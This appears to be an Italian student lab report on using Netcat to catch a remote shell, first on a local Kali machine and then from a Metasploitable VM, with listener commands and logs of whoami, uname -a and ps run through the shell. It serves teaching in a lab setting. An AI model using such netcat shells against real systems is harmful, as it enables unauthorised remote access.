

Esercizio: Utilizzo di Netcat per ottenere accesso remoto e informazioni di sistema su una macchina Kali

Obiettivo:

L'obiettivo di questo esercizio era dimostrare l'utilizzo di Netcat per ottenere accesso remoto a una macchina Kali e ottenere informazioni di sistema tramite l'esecuzione di comandi da una shell remota.

Procedure:

Avvio di un listener su una macchina Kali:

Utilizzando il comando `nc -l -p 1234`, è stato avviato un listener sulla porta 1234 della macchina Kali. Questo ha permesso di accettare connessioni in entrata da altre macchine.

```
(kali@kali)-[~]
$ nc -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35230
whoami
```

Esecuzione di comandi:

Dopo aver ottenuto la shell remota, sono stati eseguiti vari comandi per ottenere informazioni di sistema:

whoami: Ha restituito il nome utente corrente, che è stato identificato come "kali".

uname -a: Ha fornito le informazioni dettagliate sul sistema operativo, confermando che si tratta di Kali Linux versione 6.6.9.

ps: Ha elencato i processi attualmente in esecuzione sulla macchina Kali.

```
(kali@kali)-[~]
$ nc -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55440
$ root@kali: nc -lp 1234 whoami
/bin/sh: 1: root@kali:: not found
$ whoami
kali
$ uname -a
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
$ ps
  PID TTY          TIME CMD
 25193 pts/3        00:00:03 zsh
 41714 pts/3        00:00:00 cat
 41715 pts/3        00:00:00 sh
 41716 pts/3        00:00:00 nc
 42274 pts/3        00:00:00 ps
$
```

Ho eseguito anche un ascolto tra kali e meta

```
(kali@kali)~$ nc -lvn -p1234
listening on [any] 1234 ...
connect to [192.168.1.129] from (UNKNOWN) [192.168.1.186] 44706
whoami
msfadmin
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
  4718 tty1        00:00:00 bash
  4725 tty1        00:00:00 sh
  4729 tty1        00:00:00 ps
```

Risultati:

L'esercizio è stato completato con successo. È stato dimostrato l'utilizzo di Netcat per ottenere accesso remoto a una macchina Kali e ottenere informazioni di sistema attraverso l'esecuzione di comandi da una shell remota. Il nome utente corrente, le informazioni sul sistema operativo e i processi in esecuzione sono stati ottenuti con successo.